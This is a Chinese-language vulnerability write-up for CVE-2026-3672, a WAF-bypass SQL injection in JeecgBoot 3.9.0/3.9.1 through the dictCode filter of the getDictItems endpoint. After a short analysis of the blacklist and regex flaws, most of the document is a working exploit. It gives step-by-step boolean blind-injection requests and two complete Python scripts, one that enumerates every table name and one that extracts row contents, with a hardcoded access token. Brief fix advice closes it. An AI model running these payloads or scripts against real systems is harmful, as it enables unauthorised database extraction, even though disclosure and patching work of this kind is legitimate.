CVE-2026-3672 Jeecgboot3.9.1/3.9.0 WAF绕过:正则缺陷导致SQL注入
漏洞描述该漏洞本质上是由于JeecgBoot内置的WAF存在逻辑缺陷,导致针对特定接口的SQL注入防护被绕过。影响版本: JeecgBoot 版本 3.9.1/3.9.0需要任意用户权限漏洞分析来到SysDictController.java入口路由为 GET /sys/dict/getDictItems/{dictCode}控制器直接将 dictCode 传入sysDictService.get
漏洞描述
该漏洞本质上是由于JeecgBoot内置的WAF存在逻辑缺陷,导致针对特定接口的SQL注入防护被绕过。
影响版本: JeecgBoot 版本 3.9.1/3.9.0
需要任意用户权限
漏洞分析
- 来到
SysDictController.java - 入口路由为
GET /sys/dict/getDictItems/{dictCode} - 控制器直接将
dictCode传入sysDictService.getDictItems(dictCode)

- 这说明外部请求中的
dictCode会直接进入业务解析流程。
来到SysDictServiceImpl.java
可以看到:
- 三段格式走 queryTableDictItemsByCode
- 四段格式走 queryTableDictItemsByCodeAndFilter(params[0], params[1], params[2], params[3])
而dictCode 第四段被解释为过滤条件进入${filterSql}
也就是说走了specialFilterContentForDictSql通道,也就是说没有走默认check,而是走了字典check
来到同文件266行

这里对filterSqlj进行了检查,但可以绕过,等会再说。
我们先来到SysDictMapper.xml

很明显了 filterSql 直接落在 where 后面进行了SQL拼接
然后回到SQL注入check的地方specialFilterContentForDictSql

第一个是关键字过滤,第二个是注释过滤

对比默认check和字典check
默认:
private final static String XSS_STR = "and |exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|--";字典:
private static String specialDictSqlXssStr = "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--";可以发现:
- 通用黑名单里有:
and、or - 字典专用黑名单里没有:
and、or
然后我们看下黑名单函数是怎么判断的
我们跟进这个方法

可以看到不是只要出现关键字就算命中,而是:
- 对大多数关键字,前面必须刚好有一个普通空格
- 对
;、+、--这种在FULL_MATCHING_KEYWRODS里的特殊项,才直接匹配
正则:
它的意思是:
- 先找“空白 + 一段非空白字符 + 关键字”这种形态
- 找到以后还不算命中
- 只有当找到的片段里还含
%、+、#、/、)这些符号时,才过滤
源码中的正则数组是:
"chr\\s*\\(",
"mid\\s*\\(",
" char\\s*\\(",
"sleep\\s*\\(",
"user\\s*\\(",
"show\\s+tables",
"user[\\s]*\\([\\s]*\\)",
"show\\s+databases",
"sleep\\(\\d*\\)",
"sleep\\(.*\\)"回到我们的语句
select ${text} as "text", ${code} as "value" from ${table}
<if test="filterSql != null and filterSql != ''">
where ${filterSql}
</if>payload:
jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1%20and%20(select%20count(username)%20from%20sys_user)WAF 对 select 的检查:
- 正则表达式:
\s+\S+select - 输入片段:
and (select - 匹配结果:
(select(空格 +(+select) - 验证:
(select是否包含)?否。 → 通过
WAF 对 from 的检查:
- 正则表达式:
\s+\S+from - 输入片段:
) from - 匹配结果: 无。(因为
from前的字符是空格,\S+无法匹配) → 通过

然后进行布尔盲注测试:
payload:dictCode=sys_user,username,id,1=1%20and%20(length(database())=1)
失败:
成功:

漏洞利用
虽然过滤了一些系统表,但mysql.innodb_index_stats
能用
接下来就是构思payload
- 查当前库下表的数量
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+((select+count(distinct+table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3e=124) HTTP/1.1

用information_schema就会报错
- 第一个表的长度
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database())%3E17) HTTP/1.1
- 第一个字符
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'z') HTTP/1.1 - 由z到a进行比较如果返回真说明是这个字母
- 第二个字符
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'az') HTTP/1.1 - 接在第一个字符的后面还是从z开始,这是不变的。
- 后面以此类推。
- 假如表名是aigc_word_template
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3d'aigc_word_template') HTTP/1.1 - 会返回真
- 第二个表的长度
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database()+and+table_name%3E'aigc_word_template')%3E8) HTTP/1.1
- 判断字段是否存在
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and(select+count(id)+from+aigc_word_template)%3E=0 HTTP/1.1
- 表行数
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(*)+from+aigc_word_template)%3E1 HTTP/1.1
- 判断表中是否有数据
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(*)+from+aigc_word_template)%3E0 HTTP/1.1
- 验证id非空行
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+(select+count(id)+from+aigc_word_template+where+id+is+not+null)%3E0 HTTP/1.1
- 确定字段内容长度
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3e0) HTTP/1.1
- 从0开始,为真就继续加
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3e19) HTTP/1.1
- 为假了说明就是这个了
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+id+from+aigc_word_template+where+length(id)%3D19) HTTP/1.1
- 进行验证
- 获取id字段内容
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'0%25') HTTP/1.1 - 从0开始
- 返回真就是正确的,比如说id字段的内容为1957327567174488065
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1%25') HTTP/1.1
- 为真
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'10%25') HTTP/1.1 - 假
- 加了几轮
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'19%25') HTTP/1.1 - 真
- 最后
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1957327567174488065%25') HTTP/1.1 - 真
- 这里换到一个有两行以上的表。假设已知第一行id为1898995126819143682
- 确认存在下一行
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+id+%3E+'1898995126819143682') HTTP/1.1
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+id+%3c+'1898995126819143682') HTTP/1.1
- 大小都判断一下有一个为真就说明存在
- 确认下一行id的长度
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'0%25') HTTP/1.1
- 还是从0开始,一直到为真为止比如说1为真
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1%25') HTTP/1.1
- 下一个就是
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'10%25') HTTP/1.1
- 直到为真为止
GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1899017221531811841%25') HTTP/1.1
- 其他字段也是同理,但每个字段都需要考虑字母、数字、符号,暂时不考虑中文。这也只是当前库的payload,如果还有弄其他库工作量实在太大了。手搓完payload叫ai写脚本干活就行了。
报所有表名脚本:
import requests
import time
URL = "http://localhost:8080/jeecg-boot/sys/api/getDictItems"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",
"X-Access-Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNlc2hpIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzc0MTMwODY4fQ.zh5zmmCKLX41pI54TBKodIW_nohwwWZ7SR5BqZnKSaE"
}
DELAY = 0 # 取消请求间隔
# 创建会话,复用连接
session = requests.Session()
session.headers.update(HEADERS)
def send_payload(condition):
"""
发送注入条件,返回True表示页面正常(返回非空数组),False表示异常(空数组或错误JSON)。
""" dict_code = f"sys_user,username,id,1=1 and {condition}"
full_url = f"{URL}?dictCode={dict_code}"
try:
resp = session.get(full_url, timeout=10)
if resp.status_code != 200:
return False
text = resp.text.strip()
# 正常有数据的数组以 '[' 开头且长度大于2(即至少有一个元素)
if text.startswith('[') and len(text) > 2:
return True
else:
return False
except Exception as e:
print(f"请求异常: {e}")
return False
finally:
if DELAY > 0:
time.sleep(DELAY)
def binary_search_length(cond_template, max_len=1000):
"""
二分法获取长度,cond_template 应包含占位符 {n},例如 "length(...) > {n}" """ low, high = 1, max_len
# 确定上界
while send_payload(cond_template.format(n=high)):
high *= 2
if high > 10000:
break
# 二分查找
while low < high:
mid = (low + high) // 2
if send_payload(cond_template.format(n=mid)):
low = mid + 1
else:
high = mid
return low
def get_table_count():
"""获取当前库下的表总数(去重)"""
print("[*] 获取表总数...")
cond = "((select count(distinct table_name) from mysql.innodb_index_stats where database_name=database()) > {n})"
return binary_search_length(cond, max_len=200)
def get_table_name(where_cond=""):
"""
根据条件获取第一个表名。
where_cond 可以是空(第一个表),或 "table_name > 'prev_table'" 返回表名字符串。
""" if where_cond:
base = f"select min(table_name) from mysql.innodb_index_stats where database_name=database() and {where_cond}"
else:
base = "select min(table_name) from mysql.innodb_index_stats where database_name=database()"
# 获取表名长度
len_cond = f"length(({base})) > {{n}}"
length = binary_search_length(len_cond)
print(f"[*] 表名长度: {length}")
table_name = ""
for pos in range(1, length+1):
# 在ASCII可打印字符32~126范围内二分查找
low, high = 32, 126
while low < high:
mid = (low + high + 1) // 2 # 向上取整,避免死循环
test_prefix = table_name + chr(mid)
# 判断最小表名是否小于 test_prefix cond = f"(({base}) < '{test_prefix}')"
if send_payload(cond):
# 如果小于,说明实际表名 < test_prefix,则当前字符 < mid high = mid - 1
else:
# 否则,实际表名 >= test_prefix,则当前字符 >= mid low = mid
# 循环结束时 low 即为实际字符的ASCII码
table_name += chr(low)
print(f" 当前表名: {table_name}")
return table_name
def get_all_tables():
"""获取所有表名"""
tables = []
# 第一个表
print("[*] 获取第一个表名...")
first = get_table_name()
tables.append(first)
print(f"[+] 第一个表名: {first}")
# 后续表
idx = 2
while True:
print(f"[*] 获取第 {idx} 个表名...")
where = f"table_name > '{tables[-1]}'"
# 先判断是否存在下一个表
exists_cond = f"((select count(distinct table_name) from mysql.innodb_index_stats where database_name=database() and table_name > '{tables[-1]}') > 0)"
if not send_payload(exists_cond):
print("[!] 没有更多表")
break
next_table = get_table_name(where)
tables.append(next_table)
print(f"[+] 第 {idx} 个表名: {next_table}")
idx += 1
return tables
def main():
table_count = get_table_count()
print(f"[+] 当前库共有 {table_count} 张表")
tables = get_all_tables()
print(f"[+] 所有表名: {tables}")
if __name__ == "__main__":
main()列还是不好爆,而且太多了,数据量堆起来时间复杂度太大了。这里就用字典代替,列举一些常用字段,效率大大提升。

实际上也是这么多

爆内容脚本
import requests
import time
import string
URL = "http://localhost:8080/jeecg-boot/sys/api/getDictItems"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",
"X-Access-Token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNlc2hpIiwiY2xpZW50VHlwZSI6IlBDIiwiZXhwIjoxNzc0MTMwODY4fQ.zh5zmmCKLX41pI54TBKodIW_nohwwWZ7SR5BqZnKSaE"
}
DELAY = 0
ID_FIELD = "id" # 用于定位行的字段(通常为主键)
FIELDS = [
"id",
"name",
"create_time",
"update_time",
"create_by",
"update_by",
"status",
"code",
"width",
"height"
]
# 字符集(按 ASCII 升序:数字、大写字母、下划线、小写字母)
CHARS_ASC = string.digits + string.ascii_uppercase + '_' + string.ascii_lowercase
# 会话复用
session = requests.Session()
session.headers.update(HEADERS)
def send_payload(condition):
"""
发送注入条件,返回 True 表示页面正常(返回非空数组),False 表示异常(空数组或错误)
""" dict_code = f"sys_user,username,id,1=1 and {condition}"
full_url = f"{URL}?dictCode={dict_code}"
try:
resp = session.get(full_url, timeout=10)
if resp.status_code != 200:
return False
text = resp.text.strip()
# 正常有数据的数组以 '[' 开头且长度大于2(至少有一个元素)
return text.startswith('[') and len(text) > 2
except Exception:
return False
finally:
if DELAY > 0:
time.sleep(DELAY)
def linear_search_length(cond_template, start=0):
"""
线性递增获取长度,cond_template 包含 {n},从 start 开始递增直到条件为假
""" n = start
while send_payload(cond_template.format(n=n)):
n += 1
return n
def check_field_exists(table, field):
"""判断表中是否存在指定字段"""
cond = f"(select count({field}) from {table}) >= 0"
return send_payload(cond)
def table_has_data(table):
"""判断表是否有数据(至少一行)"""
cond = f"(select count(*) from {table}) > 0"
return send_payload(cond)
def get_value_length_by_subquery(table, subquery):
"""
获取子查询返回值的长度(线性递增)
subquery: 例如 "select min(id) from aigc_word_template" """ cond = f"exists(select 1 from {table} where length(({subquery})) > {{n}})"
return linear_search_length(cond, start=0)
def get_value_by_subquery(table, subquery, length):
"""
获取子查询返回值的具体内容(逐字符 like 探测)
""" value = ""
for pos in range(1, length + 1):
found = False
for c in CHARS_ASC:
# 单引号转义(替换为两个单引号)
safe_value = value.replace("'", "''")
cond = f"exists(select 1 from {table} where cast(({subquery}) as char) like '{safe_value}{c}%')"
if send_payload(cond):
value += c
found = True
break if not found:
# 理论上长度已知,不会找不到
break
return value
def get_all_row_ids(table):
"""获取表中所有行的 ID(按升序)"""
rows = []
# 第一行
subquery_first = f"select min({ID_FIELD}) from {table}"
length = get_value_length_by_subquery(table, subquery_first)
if length == 0:
return rows
first_id = get_value_by_subquery(table, subquery_first, length)
rows.append(first_id)
# 后续行
current_id = first_id
while True:
# 判断是否存在下一行
exists_cond = f"exists(select 1 from {table} where {ID_FIELD} > '{current_id}')"
if not send_payload(exists_cond):
break
# 获取下一行的 ID subquery_next = f"select min({ID_FIELD}) from {table} where {ID_FIELD} > '{current_id}'"
length = get_value_length_by_subquery(table, subquery_next)
if length == 0:
break
next_id = get_value_by_subquery(table, subquery_next, length)
rows.append(next_id)
current_id = next_id
return rows
def get_field_value_by_id(table, field, row_id):
"""
获取指定表中某行(由 row_id 标识)的 field 字段值
""" # 如果字段就是 ID_FIELD,直接返回已缓存的 row_id(避免重复盲注)
if field == ID_FIELD:
return row_id
# 先检查该行该字段是否有值(非 NULL)
has_value_cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and {field} is not null)" if not send_payload(has_value_cond):
return None # 值为 NULL
# 获取字段长度
length_cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and length({field}) > {{n}})"
length = linear_search_length(length_cond, start=0)
if length == 0:
return "" # 空字符串
# 逐字符探测
value = ""
for pos in range(1, length + 1):
found = False
for c in CHARS_ASC:
safe_value = value.replace("'", "''")
cond = f"exists(select 1 from {table} where {ID_FIELD} = '{row_id}' and cast({field} as char) like '{safe_value}{c}%')"
if send_payload(cond):
value += c
found = True
break if not found:
break
return value
def main():
tables = [
'aigc_word_template', 'airag_app', 'airag_ext_data', 'airag_flow',
'airag_knowledge', 'airag_knowledge_doc', 'airag_mcp', 'airag_model',
'airag_prompts', 'demo', 'flyway_schema_history', 'jeecg_order_customer',
'jeecg_order_main', 'jeecg_order_ticket', 'jimu_dict', 'jimu_dict_item',
'jimu_report', 'jimu_report_category', 'jimu_report_data_source',
'jimu_report_db', 'jimu_report_db_field', 'jimu_report_db_param',
'jimu_report_export_job', 'jimu_report_export_log', 'jimu_report_ext_data',
'jimu_report_icon_lib', 'jimu_report_link', 'jimu_report_map',
'jimu_report_share', 'jimu_report_sheet', 'joa_demo',
'oauth2_registered_client', 'onl_auth_data', 'onl_auth_page',
'onl_auth_relation', 'onl_cgform_button', 'onl_cgform_enhance_java',
'onl_cgform_enhance_js', 'onl_cgform_enhance_sql', 'onl_cgform_field',
'onl_cgform_head', 'onl_cgform_index', 'onl_cgreport_head',
'onl_cgreport_item', 'onl_cgreport_param', 'onl_drag_comp',
'onl_drag_dataset_head', 'onl_drag_dataset_item', 'onl_drag_dataset_param',
'onl_drag_page', 'onl_drag_page_comp', 'onl_drag_share',
'onl_drag_table_relation', 'open_api', 'open_api_auth', 'open_api_log',
'open_api_permission', 'oss_file', 'qrtz_blob_triggers', 'qrtz_calendars',
'qrtz_cron_triggers', 'qrtz_fired_triggers', 'qrtz_job_details',
'qrtz_locks', 'qrtz_paused_trigger_grps', 'qrtz_scheduler_state',
'qrtz_simple_triggers', 'qrtz_simprop_triggers', 'qrtz_triggers',
'rep_demo_dxtj', 'rep_demo_employee', 'rep_demo_gongsi',
'rep_demo_jianpiao', 'rep_demo_order_main', 'rep_demo_order_product',
'sys_announcement', 'sys_announcement_send', 'sys_category',
'sys_check_rule', 'sys_comment', 'sys_data_log', 'sys_data_source',
'sys_depart', 'sys_depart_permission', 'sys_depart_role',
'sys_depart_role_permission', 'sys_depart_role_user', 'sys_dict',
'sys_dict_item', 'sys_files', 'sys_fill_rule', 'sys_form_file',
'sys_gateway_route', 'sys_permission', 'sys_permission_data_rule',
'sys_position', 'sys_quartz_job', 'sys_role', 'sys_role_index',
'sys_role_permission', 'sys_sms', 'sys_sms_template',
'sys_table_white_list', 'sys_tenant', 'sys_tenant_pack',
'sys_tenant_pack_perms', 'sys_tenant_pack_user', 'sys_third_account',
'sys_third_app_config', 'sys_user', 'sys_user_dep_post',
'sys_user_depart', 'sys_user_position', 'sys_user_role',
'sys_user_tenant', 'test_demo', 'test_enhance_select', 'test_note',
'test_online_link', 'test_order_customer', 'test_order_main',
'test_order_product', 'test_person', 'test_shoptype_tree'
]
print(f"[+] 共 {len(tables)} 张表需要处理")
print(f"[+] 将提取字段: {FIELDS}\n")
for table in tables:
print(f"\n{'='*60}\n[*] 处理表: {table}")
# 检查是否存在至少一个字段(避免完全无权限的表)
field_exists = any(check_field_exists(table, f) for f in FIELDS)
if not field_exists:
print(f"[!] 表 {table} 中不存在任何指定字段,跳过")
continue
if not table_has_data(table):
print(f"[!] 表 {table} 中无数据,跳过")
continue
# 获取所有行的 ID print(f"[*] 正在获取所有行的 {ID_FIELD}...")
row_ids = get_all_row_ids(table)
if not row_ids:
print(f"[!] 无法获取行 {ID_FIELD},跳过")
continue
print(f"[+] 共 {len(row_ids)} 行")
# 对每一行提取所有字段
for idx, row_id in enumerate(row_ids, start=1):
print(f"\n 行 {idx} (ID: {row_id})")
row_data = {ID_FIELD: row_id}
for field in FIELDS:
if field == ID_FIELD:
continue # 已缓存
# 检查字段是否存在(表级)
if not check_field_exists(table, field):
print(f" [!] 字段 {field} 不存在,跳过")
continue
# 获取字段值
value = get_field_value_by_id(table, field, row_id)
if value is None:
print(f" {field}: NULL")
else:
print(f" {field}: {value}")
row_data[field] = value
if __name__ == "__main__":
main()
修复建议
- 禁止四段式
dictCode,不再允许外部直接传filterSql - 禁止
tableFilterSql中携带 where, 只允许纯表名 - 删除 Mapper 中 where
${filterSql}的动态拼接 - 如果业务必须过滤,改成“字段白名单 + 参数化值”的结构化查询。黑名单可以补强,但只能做辅助兜底,不能替代根本修复
参考文章
CVE记录:CVE-2026-3672
Jeecgboot3.9.1,3.9.0 Web Application Firewall (WAF) Bypass via Regular Expression Misconfiguration and Asymmetric Blacklist Vali
JeecgBoot 3.9.0/3.9.1 因字典接口filterSql校验不严及正则匹配逻辑缺陷,导致SQL注入防护被绕过。
由 AI 根据全文自动生成,仅供参考,以原文为准